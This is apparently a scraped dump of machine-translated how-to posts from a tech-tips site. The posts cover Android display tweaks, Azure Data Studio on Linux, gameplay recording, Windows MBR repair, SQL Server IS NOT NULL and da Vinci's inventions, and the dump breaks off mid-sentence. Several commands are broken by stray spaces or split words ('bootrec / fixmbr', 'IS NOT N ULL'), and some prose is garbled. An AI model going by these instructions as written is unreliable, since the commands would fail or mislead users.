Your next task is to adjust the border so that it looks smoother and more beautiful.\nGo to Applications . Click the icon with the traces next to the three dashes on the right corner of the screen. Now the application will show a small panel, turn on the Enabled switch and check the Overlay Navigation bar box .   Now you can experience the curved border display on your Android device.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqiecKuqa%2BdlGKvsL7DnqlmnJmova2t2Gamp2WRo7Gzu8idZKmgn6OytHnLoqKeZaOWurTBzaBkoJmclsW6edJx\n","link":"/post/how-to-get-a-curved-border-display-on-android-phones-like-samsung-galaxy-s8/","section":"post","tags":null,"title":"How to get a curved border display on Android phones like Samsung Galaxy S8"},{"body":"Data is one of the most valuable assets for most modern businesses. Typically, a database is used to persist data, provide a smooth user experience, and provide operational insights.\nHere, TipsMake will show you how to get started with Azure Data Studio on Linux. You can use it to design, query and manage your data or SQL server databases in the cloud or on your local premises.\nWhat is Azure Data Studio? Azure Data Studio is a cross-platform database management tool available on Mac, Windows, and Linux. Azure Data Studio has most of the features that Microsoft SQL Server Management Studio (SSMS) owns, but is lighter and extensible. However, Azure Data Studio is not a replacement for SSMS.\nYou can use Azure Data Studio for both cloud-based and local databases. Azure Data Studio is modular and uses extensions to extend functionality. For example, you can use it to connect to PostgreSQL.\nAzure Data Studio is built for the modern software engineer or data analyst. Some of its core features include:\nHighly customizable dashboard for database monitoring An integrated terminal window to interact with the database using PowerShell, Bash, etc. Jupyter Notebooks support A SQL query editor with IntelliSense support Azure Data Studio is completely open source and you can access its codebase on GitHub here. Install Azure Data Studio on Linux Before starting the installation, download the Azure Data Studio package that corresponds to the distribution you are currently running.\nGet Azure Data Studio (Free) On Debian and Ubuntu-based distributions If you are using a Debian-based distribution such as Ubuntu, download the appropriate DEB package and use the following cd command to navigate to the Downloads folder:\ncd ~/Downloads Then install Azure Data Studio with APT package manager.\nsudo apt install ./azuredatastudio-linux-*.deb On RHEL, CentOS and Fedora For Red Hat Enterprise Linux (RHEL) and its derivatives, download the RPM file, then navigate to the Downloads folder.\ncd ~/Downloads Install Azure Data Studio using YUM, as follows:\nsudo yum install ./azuredatastudio-linux-1.35.1.rpm Run the command below to download the required dependencies:\nsudo yum install libXScrnSaver On Arch Linux You can install Azure Data Studio on Arch-based distributions using Yay:\nyay -S azuredatastudio-bin Start Azure Data Studio   You can launch Azure Data Studio from the Applications menu on your system or from the terminal by running the following command:\nazuredatastudio Connect to the database You can easily connect to the cloud or your local database from the main Azure Data Studio site. If you've connected to other databases before, you'll find them in the left sidebar.\nThe green dot means that you are currently connected to the specific database while the red dot represents that you have been disconnected.\n  Click the New Connection button and Azure Data Studio will show you the connection screen to enter your credentials and other database details.\nEnter the name of the server you want to connect to and provide the required credentials. The article will use SQL Login here, but you can also use Windows Authentication if you want.\n  Finally, click the Connect button to connect to the SQL Server database.\nUse the Advanced button to access other connection profiles such as preferred ports, connection timeouts and other security configurations to keep your data safe and secure.\nUninstall Azure Data Studio On Debian-based distributions, you can uninstall Azure Data Studio with the apt remove command:\nsudo apt remove azuredatastudio On RHEL, Fedora, and similar distributions, uninstall Azure Data Studio by running the command:\nsudo yum remove azuredatastudio To uninstall Azure Data Studio downloaded from AUR on Arch Linux:\nsudo yay -R azuredatastudio-bin This tutorial showed you how to access your local and cloud-based database instances using Azure Data Studio on Linux. It's lightweight, easy to install, and available on all major operating systems including macOS, Windows, and Linux.\nAzure Data Studio also supports database backup and recovery for data recovery or troubleshooting. You can easily recover damaged data with Azure Data Studio when needed.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmLOtopp6pa3TmmSsrKWZtrB5zqdkpaGeqsVuwM5mpJqmkZyybr%2FQpWSsnaKrsrM%3D\n","link":"/post/how-to-install-azure-data-studio-on-linux-to-manage-sql-server/","section":"post","tags":null,"title":"How to install Azure Data Studio on Linux to manage SQL server"},{"body":" Recording and sharing gameplay has become a very popular pastime for many players. The increase in popularity of video sites such as YouTube and Twitch have opened up a whole new audience for video game footage. With the newest consoles,...\nMethod 1of 4:\nPlayStation 4  Start playing your game. The PlayStation 4 is constantly recording, and will always save up to the last 15 minutes of gameplay for you. The PlayStation 4 will not record any system menus or videos.\n  Press the Share button when you want to save what just happened. Did something amazing just happen in your game? Did you just beat a tough level or boss? Press the Share button to open the Share menu so that you can save the recording of what you just played.\n  Press Square to save your clip. The footage that was recorded, up to the last fifteen minutes, will be saved to your PS4's hard drive.[1]\n  Double-tap the Share button to start a new recording. If you're playing a game and want to start a fresh recording, you can do so by double-tapping the Share button. Be aware that this will delete anything that was already recording but not yet saved. Tap Share again when you want to finish recording. Recording will stop automatically after 15 minutes.\n  Open the Capture Gallery to find your saved videos. All of your saved videos and screenshots can be found in the Capture Gallery app. You'll find this app on your main PS4 menu, or in the Library if you haven't used it recently.\n  Find the video you want. The Capture Gallery will organize your videos according to game title. Navigate to the game that you recorded the video in and then select \"Videos\" to find your saved videos.\n  Play or edit the video. You can watch the video in the Capture Gallery or open it in ShareFactory to make edits. Select the video to start playing it.\n  Upload the video (optional). You can upload the video to Facebook or YouTube from the Share menu. You'll be prompted to log in with your Facebook or YouTube account. Before uploading, you can trim the video clips with a basic editor. Make sure to give it a catchy title and a good description.[2]\n  Insert a USB flash drive to copy videos. If you want to move your video clips to your computer, you'll need a USB flash drive. Plug the thumb drive into the USB port on the front of the PS4.\n  Press Options in the Capture Gallery to copy videos. To copy videos to the USB drive, press the Options button on the controller and select \"Copy to USB Storage\". Select each of the videos that you want to copy to the USB drive. Select \"Copy\" after you have finished selecting videos and they will be copied to the USB drive that you plugged in. The transfer process may take a few minutes to complete. The videos will be in MP4 format in a folder called \"PS4\" on the USB drive.  Method 2of 4:\nXbox One  Start playing the game you want to record. The Xbox One is always recording the last five minutes of your gameplay. You can quickly save thirty second clips, or save the entire five minute video.\n  Double-tap the Xbox button and press X to save the last 30 seconds. This is great for a quick moment that you want to share with friends or save for later viewing. If you use the Kinect, you can say \"Xbox, record that\" to perform the same function.   Open the Game DVR to record longer clips. The Xbox is constantly recording the last five minutes of your gameplay, which you can access through the Game DVR app. Double-tap the Xbox button, select \"Snap an app\", and then choose \"Game DVR\". If you use the Kinect, you can say \"Xbox, snap Game DVR\" to quickly open the Game DVR app.   Select \"End clip now\" to save your captured footage. You can choose to select a range of times from the last 30 seconds to the last 5 minutes.\n  Select \"Start clip now\" to begin a new recording. Your previous recording will be ended and your new recording will begin. You can stop recording whenever you'd like or the clip will end automatically after five minutes.\n  Permanently save your clips. When you finish recording a clip, it is not actually permanently saved. If you keep recording clips, it will eventually be deleted unless you manually save it.[3] Open the Game DVR and select \"Show my clips\". Highlight the video clip that you want to permanently save. Press the Menu button and select \"Save\". This will save the video to your Xbox's hard drive.   Upload your videos. Your Xbox One allows you to upload your videos to Xbox Live or share them with your Xbox friends. You can also upload to your OneDrive storage, which will allow you to share it with anyone or download it to your computer. You can use the Upload Studio app to manage your video uploads.\n Method 3of 4:\nPC Games  Install a screen capture program. There are a variety of different screen capture solutions available, and different ones will suit different needs. Research all of the available options to see which one will give you the best performance. Some of the most popular options include: FRAPS - This is one of the oldest video capture programs designed specifically for gaming. It has a low impact on your system performance and gives you several options for customizing your recording. Nvidia ShadowPlay - This is a screen capture feature for Nvidia graphics cards. If you have a supported card, you can use the Nvidia Experience program to launch it. Because ShadowPlay is built-in to Nvidia cards, there is very little performance impact when using it. ApowerRec - This is an ultimate screen recorder for Windows, Mac, Android and iOS. It supports to record webcam and customize your recording. Open Broadcast Software (OBS) - This is a free software program designed for broadcasting live gaming, but it can also record gameplay as well. This guide will assume you are using OBS, as it is the free option.   Configure your recording settings. Most screen capture programs allow you to configure your quality settings before you start recording. The higher the quality, the larger the final file will be. In OBS, click the \"Settings\" button.[4] Click the \"Encoding\" tab. Enter 1000 into the Max Bitrate field. Check the \"Use CBR\" box and set the Quality Balance to 10. Check the \"Use Custom Buffer Size\" box and set the Buffer Size field to 0. Click the \"Broadcast Settings\" tab and select \"File Output Only\". This will just record the video to your computer.   Set your recording hotkey. having a recording hotkey will make it easy to start and stop recording. In OBS, right-click the \"Sources\" box and select \"Add\" → \"Game capture\". Select the \"Use Hotkey\" option and then choose the key you want to use. Make sure it's not a key that you will be using in-game.\n  Start playing the game. Once your recording software is configured and running, you can start playing your game. Get to the point that you want to start recording.\n  Press your hotkey to record your footage. Your game will begin recording to your computer. Depending on your quality settings, you may or may not notice a decrease in the game's performance once you start recording. High quality recordings wil start to take up a lot of space on the computer.\n  Press the hotkey again when you are finished. When you are done recording, press the hotkey again. The recording will stop and the file will be written on your hard drive. By default, the videos will appear in the \"OBS\" folder in your \"Videos\" folder.\n Method 4of 4:\nUsing a Video Camera or Smartphone  Know when to use this method. If you are trying to record gameplay from an older console without a capture card, your best bet may be using a video camera or your smartphone's camera app. You won't get perfect quality, but you'll still be able to record what you're playing. If you're using a smartphone, you'll have trouble picking up the sound from your TV. If you can, consider purchasing a capture device instead. These are external devices that you simply plug into your computer, making them much easier to install than a capture card. You will be able to record at the best picture and sound quality if you use a capture device. If you're playing a much older system, such as an NES or Sega Genesis, you may want to record with a VCR. This will lead to a better quality recording, and with the right equipment you can transfer it to a computer.   Frame the TV completely in the camera. The key to a good recording is to ensure that the entire frame is filled with the TV image. Try to position the camera in such as way that it is looking directly at the TV, and that the frame is filled by the TV image. Move the camera a little closer so that the edges of the TV are just barely cut off. This will ensure that the entire frame is full. Make sure that you aren't pointed at an angle, or you'll likely pick up some glare.   Avoid using the zoom. If your video camera or smartphone uses digital zoom, avoid using it for filming your gameplay. Digital zoom will result in a blurry final video, and you need as much clarity as possible when filming this way.\n  Connect the audio to the camera (if possible). If you're using a camcorder, you may be able to route the game audio through the camcorder's input. You'll need a converter for the console's audio cable so that it can plug into the input or line-in option on the camcorder. This isn't possible on most smartphones. Another possibility with a camcorder is setting up a microphone next to your TV speaker to pick up the game audio more clearly.   Dim the lights. Make sure that no lights are shining directly onto the TV screen. You don't want to make the room completely dark, or the TV image will glow too much. As long as lights aren't pointing directly at the TV screen or camera, you should be good.\n  Use a tripod or other stabilizer. The worst thing you can do for clarity is to try to hold the camera while the game plays. Your camera needs to be absolutely steady, or it will be very hard to see the gameplay. Use a tripod if possible. If you don't have a tripod, set the camera or phone on a level surface and stabilize it with books or other heavy objects.\n  Sit to the side while playing. When the screen is dark, you may appear in the TV reflection if you are sitting directly in front. Sit off to the side while recording so that you don't get caught in the reflection.\n  Transfer the finished video to your computer for editing and uploading. Once you're finished recording, transfer the video to your computer so that you can edit anything out that you don't want in the video. This is usually useful to cut out the setup process or to remove boring parts. Since the sound recording probably wasn't very good, you may want to replace the sound completely with a soundtrack. After you're finished making your edits, you can upload the video to YouTube or keep it on your computer\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyvoJ2dn2K0ornEqaOasV2strW0jKemZpuRpcG2vsRmmpqqlA%3D%3D\n","link":"/post/how-to-record-video-gameplay-with-no-capture-card/","section":"post","tags":null,"title":"How to Record Video Gameplay With No Capture Card"},{"body":"In the latest version of the Viber application, the message pinning feature becomes a notification for the chat group and a separate group reply has been provided to the chat group. With the message pinning feature to notify Viber chat group , Admin chat group can take any message to inform the group.\nAs for the group reply feature, we can reply to someone's specific message, with the username attached to the reply message. This will avoid confusion when answering messages between Viber chat group members. So how to reply to messages in Viber chat group? The following article of Network Administrator will show you how to do it.\nHow to hide, hide the chat content, chat on Viber Instructions to remove, remove members of the Viber chat group Step 1:\nBefore doing so, upgrade Viber to the latest version for Android and iOS.\nDownload Viber for Android Download Viber for iOS Open the chat group interface on Viber. To reply to a message, press and hold the message and select Reply in the options list that appears.\n   Step 2:\nSoon you will see the message you want to reply to appear in the message input box. We just need to enter the message we want to chat with , then click Submit . The message will be accompanied by the Viber account name and the message you want to reply to, as shown below.\nThus, when members read the message in the Viber chat group, they will know whose message you answered and answer any problem in the conversation.\n   Providing more new features for Viber chat group helps users more convenient to chat with members. With the reply to a separate message on Viber, even if the conversation is long and the members are there, people still know what message is answered for Viber account and for what matter, without having to wade back to the group conversation. Don't forget to upgrade Viber to experience the new features quickly.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbm6edOoZJplnZrAtK3GnmSipl2ptaZ51aKZnqpdmLWiwIygqaitoA%3D%3D\n","link":"/post/how-to-reply-to-a-message-in-the-viber-chat-group/","section":"post","tags":null,"title":"How to reply to a message in the Viber chat group"},{"body":"USB data being pressed or lost is a problem that users often encounter. There are many causes for this and one of them is due to a virus infection. So how to show hidden files in USB, memory card? The following article of Thuthuatphanmem.vn will guide you how to show hidden files in USB and memory cards in the most detailed way.\n1. Show hidden files in USB by CMD command Step 1 : You open CMD with admin rights by opening the search tool type cmd when the results appear Command Prompt, right-click and select Run as administrator\n  Step 2 : When the cmd window pops up, enter the name of the USB drive and then press Enter, for example, here your usb drive is drive E, we will enter E: and press enter.\n  Step 3 : After pressing Enter you continue to enter attrib -S -H / S / D and press Enter.\n  Now you can open the USB and see if the files have been displayed or not.\n2. Display hidden files with the FixAttrb Tool FixAttrb is an effective hidden file showing tool developed by Bkav, this tool is very light at only 300kb and does not need to be installed and downloaded to use.\nDownload link: http://bb.com.vn/pro/d/FixAttrb.exe/\nAfter downloading you run the application, the usage is very simple. First, click Select folder, then select on the USB drive, then click Show hidden files and wait for the files to be displayed.\n  Above are some ways to show hidden files in USB extremely simple and effective, but after showing the files you should use virus scanning software to scan your USB to ensure safety for the computer. , Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpMRutMidm56mXZu2rbHSZqCnZaWorw%3D%3D\n","link":"/post/how-to-show-hidden-files-in-usb/","section":"post","tags":null,"title":"How to show hidden files in USB"},{"body":"Facetime is a free audio and video calling application for all iOS users. Facetime can be used when connected to Wifi on one of the following devices:\niPhone 4 and above iPad 2 and above iPad mini every version 4th generation iPod touch or more (only the 5th generation iPod touch supports audio Facetime call) We can use Facetime without Wi-Fi connection for products that use mobile data:\niPhone 4s and above iPad 3rd generation and above To be able to use Facetime, follow these steps:\nFacetime installation Open the Facetime application and log in to your Apple ID (you can also log in to Apple ID by going to Settings\u0026gt; Facetime) . If you use iPhone, Facetime will automatically log in according to your phone number. If you want to use Facetime according to Apple ID , go to Settings (settings)\u0026gt; Facetime\u0026gt; Use your Apple ID for Facetime (use Apple ID for Facetime).\nIf you use an iPad or iPod touch, use Facetime according to Apple ID by going to Settings (settings)\u0026gt; Facetime\u0026gt; Use your Apple ID for Facetime (using Apple ID for Facetime) .\n  Make a Facetime call To make a Facetime call for someone, you need to know the phone number or account that the person logged into the Facetime application. There are several ways to make a Facetime call:\nAt Facetime application, enter the phone number or email of the person you need to call, then click on the corresponding icon to call Facetime video or Facetime audio. If you have saved the phone number or email of the person you want to call, you can find their name and click on the corresponding icon to call Facetime video or Facetime audio.   During the process of making a call, you can change the Facetime audio call to Facetime video or vice versa by clicking the corresponding icon.\nUse call waiting function when making audio Facetime call If your device uses iOS 8 or higher, you can use the call waiting function. When you are making a Facetime call and someone else calls (regardless of whether you call normally or call Facetime), you can choose one of three ways:\nEnd the current call and accept the new call. Accept the new call and place the current call in standby mode. Reject the new call.   Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnFmpqerJmism67zWagqaCfo7Jutc%2Bamw%3D%3D\n","link":"/post/instructions-for-using-facetime-on-iphone-ipad/","section":"post","tags":null,"title":"Instructions for using Facetime on iPhone / iPad"},{"body":"Although not too common, but if you are having Windows 10 not booting error and MBR notification, please rest assured it is not difficult to fix. The manifestation of the MBR error is that Windows starts with a black screen, the message 'MBR Error' with the value 1, 2 or 3, there are also cases where you see the words 'Windows failed to start'.\n  Why is the MBR error happening? The reasons for the MBR error can be due to the following reasons:\nThe boot file is corrupt or is lost. Remove the Linux operating system from the dual boot computer. Setting the wrong version of the older boot record. Some other reasons . Access Windows Recovery and Command Prompt In this article, TipsMake is guiding you with Windows 10 operating system, but the same process can be applied to Windows 7 and 8.\nIf you have problems with the boot record, then you may not be able to access the Windows desktop and open the Command Prompt. In this case, you must connect the Windows installation media (USB Boot, Win disc) and boot from there.\nStep 1. Connect the Win installation device to the computer and boot from it.\nStep 2. Install, go to Install now, choose Repair your computer in the lower left corner.\n  Step 3. This will open the Choose an option window. Here choose Troubleshoot \u0026gt;\u0026gt; Advanced Options .\n  Since we need to use Command Prompt (CMD) to fix the error, here you open the Command Prompt window .\n  Correct MBR While you are at the Command Prompt window, just enter the following command line to quickly fix the MBR:\nbootrec / fixmbr\nPress Enter to execute the command, you will get a message that the process was successful and you can boot back into your computer.\n  Alternatively, you may also need to try adding some other lines of code to fix the error:\nIf you think your boot sector has been damaged or has been replaced, then use the command below to delete the existing sector and create a new boot sector: bootrec / fixboot . Besides corrupted boot records, an MBR error is sometimes caused by 'Boot Configuration Data'. In that case, you need to use the following command line to rebuild the BCD: bootrec / buildbcd . If you have multiple operating systems installed on your Windows machine, then you can use 'scanOS'. This parameter tells Windows to scan and add all minimized operating systems to the boot configuration data. This allows the user to choose which operating system to boot: bootrec / scanos . That's right, it's easy to fix MBR in Windows 10.\u0026nbsp;\ngood luck.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ%2BhqGK6o76Mnqmrp6KoerC6jLCgp5yfrMBufY8%3D\n","link":"/post/instructions-to-fix-mbr-errors-on-windows-10/","section":"post","tags":null,"title":"Instructions to fix MBR errors on Windows 10"},{"body":"This SQL Server tutorial shows how to use the IS NOT NULL condition along with specific syntax and examples.\nThe IS NOT NULL condition in SQL Server is used to check if the value is NOT NULL. A NULL value in a table is a value in an empty field, in other words, a field with no value.\nSyntax syntax IS NOT NULL  'expression' IS NOT NULL  Variable name or variable value Note\nThe expression whose value NOT NULL is returned is TRUE The expression whose value NULL is returned is FALSE For example - SELECT command\nExample IS NOT NULL condition in SQL Server SELECT statement.\n SELECT * FROM nhanvien WHERE ho IS NOT NULL;  This example returns all records from the user table whose employee information field contains no NULL values ​​(not left blank).\nExample - INSERT command\n INSERT INTO dan hba (danhba_id, ho, ten) SELECT nhanvien_id, ho, ten FROM nhanvien WHERE ho IS NOT N ULL;  This command will insert the record into the namba table if the employee's last name in the table is not NULL.\nExample - UPDATE command\n UPDATE nhanvien SET tinhtrang = 'Active' WHERE ho IS NOT NULL;  The records in the table that have them are not NULL values ​​will be updated.\nExample - DELETE command\n DELETE FROM nhanvien WHERE tinhtrang IS NOT NULL;  In this example, all records from the table have a 'status' information field that does not contain a NULL value that will be deleted.\nPrevious article: IS NULL condition in SQL Server\nNext article: Condition LIKE in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ktrR5zairZqaloblur86nm6KsmaS7brXNZqqqpF2osrPCxKs%3D\n","link":"/post/is-not-null-condition-in-sql-server/","section":"post","tags":null,"title":"IS NOT NULL condition in SQL Server"},{"body":"Mini computers are becoming more and more popular. They're a fraction of the size of a standard PC, but thanks to technological advancements, they're surprisingly powerful. Mini PCs can now be used for many of the same purposes as traditional desktop computers, and this makes them even more useful, in addition to saving space.\nHowever, mini computers are still not as popular as other types of computers, leading some to wonder what are the advantages of these devices? So what is a mini PC and why should you buy a mini PC? Join TipsMake to find the answer through the following article!\nWhat is a mini computer?  Mini port for Mac\n\u0026nbsp;\nMini PCs are similar to desktop PCs, but they are only a few inches tall. They usually don't have a screen or keyboard, but are equipped with ports for connecting to peripherals that you buy separately.\nIf you are wondering why all desktops don't have this size, the answer is that the reduction in size is often accompanied by a decrease in performance. Mini computers can perform many of the same tasks as desktop computers, but they are limited in power.\nThis makes them unsuitable for resource-intensive tasks like gaming, but not everyone needs high-end specs (and there are indeed a few dedicated mini-gaming PCs). Mini PCs are a popular alternative for those who value portability over unnecessary power.\nWho uses mini PCs? Mini PCs are not suitable for some purposes, but they are ideal for situations that do not require too much processing power. They are commonly used for the following:\nDigital signage is now found in most stores and businesses. Mini computers can be connected to monitors and provide everything needed to control them. They are also small enough to put somewhere without attracting attention.\nMini computers are often used to control cash registers in stores. They are also ideal for self-checkout kiosks and information terminals in public places.\nMini computers often act as media hubs in public facilities such as shops and train stations. They can be used to play music, advertisements and information.\nMini computers are commonly found in offices and universities. Businesses often require multiple computers. Therefore, the amount of space that can be saved compared to a desktop computer is considerable. Mini computers are also powerful enough for most types of work.\nMini PCs are increasingly popular among personal computer users. Ordinary people use computers mainly to browse the Internet and view media content. The mini PC offers this functionality in a device with a much smaller appearance.\nWhy buy a mini PC?   Mini computers are mostly attractive due to their compact size, but they do have a number of advantages. Here are a few reasons to buy a mini PC.\nSmaller mini computer Mini computers are significantly smaller than desktop computers, and this makes them very popular in the workplace. They are also useful if you have a small desk at home. They can be placed anywhere and give a subtle beauty.\nMini computers are also highly portable. They're not exactly laptop replacements, but there are plenty of cases where ignoring the screen won't be an issue. If you want a computer that can be easily transported between rooms or two other places where a monitor is available, a mini PC will be an ideal choice.\nMini PCs can do many of the same tasks as traditional PCs Most mini PCs can't do resource-intensive activities like gaming or video editing. However, they are perfect for browsing the web and watching high-definition videos. Mini PCs often have loads of different ports, so you're not limited in what you can connect them to.\nMini computer runs quieter Many mini PCs don't have cooling fans, because they don't have components that heat up and need cooling. This is done in part to save space, but also to help some mini PCs operate more quietly. This is ideal if you want to leave your computer running while you sleep, or you like the idea of ​​having a PC that doesn't make a lot of noise.\nMini PCs use less power Mini computers use less power. This is part of their allure, because these computers often have to run all day. But it also benefits casual computer users who want their electricity bills lower.\nCheaper mini computers Mini PCs are also cheaper than traditional PCs. High-end models are priced competitively with desktops, and the more power you want, the more money you'll have to spend. But if you want to save money, there are models with less power but significantly lower prices than desktops to choose from.\nWhat are the disadvantages of mini PCs?   Before buying a mini PC, it is important to understand the disadvantages of this type of device.\nMini PC can't do all the tasks Mini computers allow you to browse the web, do some types of work, and watch videos. Mini PCs are getting more and more powerful, and the ability to support gaming is increasing. But most mini PCs still don't have a dedicated GPU, which clearly puts a limit on their capabilities.\nSometimes it's not possible to upgrade the mini PC Mini computers are designed to be as compact as possible. This is ideal for portability, but often makes them non-upgradable. The desktop has plenty of space for you to add additional components. Mini computers can't do this. You won't be able to add more RAM, internal storage, or GPU.\nMini computers are not capable of replacing desktop computers. They can perform many tasks, but anything that requires high-end components will not be able to work. Instead, the mini PC is a useful alternative for any purpose where saving space is paramount.\nThey are now found in almost every type of business and most people interact with them without realizing it. They are also not restricted to commercial use. If you want a small PC for basic tasks or just want to spend less money on your next computer, the mini PC is well worth considering.\nMini PC mini computer ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuucinoGaokw%3D%3D\n","link":"/post/learn-about-mini-pc/","section":"post","tags":null,"title":"Learn about mini PC"},{"body":"Recently, information about the Ryzen Threadripper 3980X 48-core 96 threads, one of the two Ryzen Threadripper CPUs 3rd generation AMD is about to launch has leaked through the list of new CPUs supported in CPU-Z's software. TechPowerUp. Previously, information about the Ryzen Threadripper 3990X with up to 64 cores of 128 threads was also revealed by AMD.\nSimilar to AMD's previous 3rd generation Ryzen Threadripper CPU models, Ryzen Threadripper 3980X still uses its new Zen 2 architecture along with 280 MB cache and 280 W TDP.\nCurrently, details about the structure, the clock . of Ryzen Threadripper 3980X have not been disclosed. It is expected that this information will be announced by AMD at CES 2020 in January 2020. The arrival of the Ryzen Threadripper 3980X will 'fill' the gap between 3970X and 3990X.\nIt is predicted that the price of Ryzen Threadripper 3980X will be in the range of US $ 2500 - 3000 (about 60 million VND), much higher than the Ryzen Threadripper 3970, whose market price is 2000USD. However, with the terrible performance and the 'big' multiplier mentioned above of Ryzen Threadripper 3980X, this price is considered by many to be relatively reasonable. The Ryzen Threadripper 3990X is expected to cost around $ 3,000.\nQualcomm launches two new Snapdragon CPU models, promising to stir the market for low-cost ARM laptops Snapdragon 865 pitted A13 Bionic: 'One more pain' for the Qualcomm team Snapdragon 865 and Apple A13: Which will be the most powerful mobile CPU in the world? ncG1vNJzZmismaXArq3KnmWcp51kv7rGxKdkraCimq6lvsipp56qXWiGeXzXZpimnKNiu6bDjJynrmWimsOmrcuem2avmam1boCXZpqoqpWoenqCjK2fq52RmcA%3D\n","link":"/post/ryzen-threadripper-3980x-amd-s-new-cpu-revealed-with-48-cores-96-threads/","section":"post","tags":null,"title":"Ryzen Threadripper 3980X, AMD's new CPU revealed with 48 cores, 96 threads"},{"body":"Leonardo da Vinci is a typical Renaissance man, with a passion that spans a wide range of fields such as geology, geography, astronomy, chemistry, botany, explosives, optics and animals. learn. The illustrious achievement of the genius ahead of its time can be summed up in two facts that you may not have known:\u0026nbsp;\n- In 1509, da Vinci made his first judgments about why the sky was blue. He said roughly, that blue is a combination of white light from the Sun and dark colors of the Universe. We see him as a curious man, noting every detail of the surrounding life.\n- About 200 years before Newton was born, da Vinci wrote: ' for every action, there will be an equivalent opposition reaction '. We see a man figuring out the basic physical factors through his ability to observe.\nBut da Vinci's talent and knowledge were nothing compared to his inventions, because that was when all the best qualities of the Renaissance genius showed themselves through machines beyond his knowledge. time.\u0026nbsp;\n Wings show humanity's dream of flying in general and da Vinci in particular.\nMany people mistakenly think da Vinci is the father of scissors, but little is known about the strange ideas of the talented man: from shoes to walk on water, planes have the mechanism of flapping wings like bats to one robotic system based on human characteristics; da Vinci's design is strange, magical and equally attractive. After the city of Milan was devastated by the epidemic in 1484, Leonardo da Vinci painted a dream city, perfectly planned.\nFor hundreds of years, his 'coming from the future' design lay dusty in a neighborhood where no one noticed it. In the late 19th century, 700 pages of documents and drawings of Leonardo da Vinci were discovered, and nobody was interested in them until Italian fascist leader Benito Mussolini commissioned several da Vinci designs, to arouse the national pride of the Italians.\nOn the 500th anniversary of the birth of da Vinci, 39 more models were built in Milan, using materials that da Vinci could use in the 15th century.\u0026nbsp;\n' At that time, engineering was based on practice, so Leonardo became a stranger to his drawings. In fact, he invented a new method of invention, by combining the talent of the artist with the skill of an engineer ', Claudio Giorgione, co-curator of Museo Nazionale della Scienza e della Tecnologia, museum Italy's largest science and technology, said.\nHere are some examples showing the genius of Leonardo da Vinci.\n Leonardo da Vinci.\n\u0026nbsp;\nTank\nIf many da Vinci's inventions came out of a dream, then this destructive machine was born of a nightmare. Shaped like a turtle and a flying saucer, this device 'runs on rice', with eight people inside using cranks to operate the whole machine.\n The tank has a slow movement speed, despite possessing up to 8 \"manpower\".\nAlthough da Vinci did not make this device himself, he imagined an iron-clad wooden frame on the wheel, surrounded by cracks for the gun to stick out, allowing the machine to glide on the battlefield. .\n' This is a beautiful example of creativity in Leonardo drawings. This design is much stronger than the inventions of contemporaries. He represents the idea of ​​tanks gliding on the ground, blinding dust at high speed , 'Giorgione said.\nIt is worth noting that the original design of the da Vinci had a serious error: the front and rear wheels of this tank turned in opposite directions. If the production unit followed the correct model, the vehicle could not run. Considering the idea of ​​loving peace and the ability to clearly understand the mechanism of operation of the machine, some historians believe that this was the deliberate act of sabotage of da Vinci.\nMetal people\nHalf a millennium before humans became familiar with the concept of robots, computers or artificial intelligence, da Vinci dreamed of creating 'robotic knights', a humanoid robot capable of waving, standing up and sitting. down and move his mouth.\nThrough human anatomy, da Vinci discovered by himself how muscles and joints work together, in order to create movement for the bones. His mechanical doll mimics these movements through a system of pulleys, gears and cables, which transmit power from a crank.\n da Vinci dissected about 30 corpses and proceeded to paint detailed body structures under candlelight. He used a cloth covering his nose and mouth when doing this job.\nHowever, da Vinci's robot was just for entertainment, a way of entertaining the people who financed him, such as the automatic lion he created for the king of France. The iron knight was just a tool to entertain the Sforza family in power in Milan.\nAccording to Giorgione, these products are the few times contemporaries have known da Vinci's talent in engineering. Most of the drawings that make these machines are in da Vinci's personal journals.\u0026nbsp;\n Analyzing how muscles, joints and bones work, da Vinci built robots.\nOne more example of da Vinci's timeless mind: NASA applied the design of the brilliant inventor to the robot Anthrobot, a robotic arm capable of performing complex tasks.\nAttempts to realize human's dream of flying\n The \"ornithopter\" device was designed by da Vinci.\nda Vinci dreamed of flying from an early age, while still looking for fun in the kite. The autograph shows that da Vinci wrote hundreds of lines of research about flight mechanisms, and he also bought birds from the market to learn about how they work. When he was finished, he released the bird to the wild; Da Vinci is a vegetarian.\nHaving collected enough knowledge, da Vinci created 'ornithopter', a wing flapping based on the principle of birds and bats, with a wingspan of up to 10 meters, made from pine and silk. Knowing that humans are too heavy and weak to be able to flap their wings with their hands, his 'ornithopter' allows wingers to use their feet to drive. But he still gave up when further studies showed that the human legs were not strong enough to operate the 'ornithopter'.\u0026nbsp;\nPerhaps da Vinci had never fulfilled his dream of going to space, but at least his 'descendants' did it: people named a moth in Sudan as Leonardo davincii.\nAutomation means\n Drawings of a \"car\" by da Vinci.\nAlthough cars didn't appear until a few centuries after the da Vinci era, this brain was ahead of its time when it was just 26 years old. Basically, da Vinci's three-wheeler gear was a motor car. , with some springs turning the wheel. More specifically, this is also a driverless car. Changing some of the gear housing, da Vinci can 'program' the car to move itself when it is winding.\n In 2006, people modeled \"self-driving cars\" of da Vinci.\nHowever, da Vinci did not design a road car, most likely this was another recreational toy, when it only traveled 40 meters.\nComputer?\nIt was not until 1965 that people discovered drawings of this strange device. A linguistic professor at the time working at the Spanish National Library found a series of autographs by Leonardo da Vinci in a parchment scroll from Morocco.\n The first analog computer of mankind?\nMore than 700 pages describe da Vinci's thoughts on architecture, geometry, music, mechanics, directions and maps. In between them is a drawing of a machine with 13 gears, 10 numbers from 0 to 9. It's unclear how this machine will work, but many people think this is the first analog computer of humanity .\n' These are not really projects [that da Vinci] will perform; His drawings are confusing and often lack details. They are just his dreams. He did not have the time or money to recognize their [size] , 'Giorgione said.\n\"Helicopter\n da Vinci describes a device that \"flies up to 4 people.\nUsing the word 'ahead of time' is also boring, but there is no other word to describe 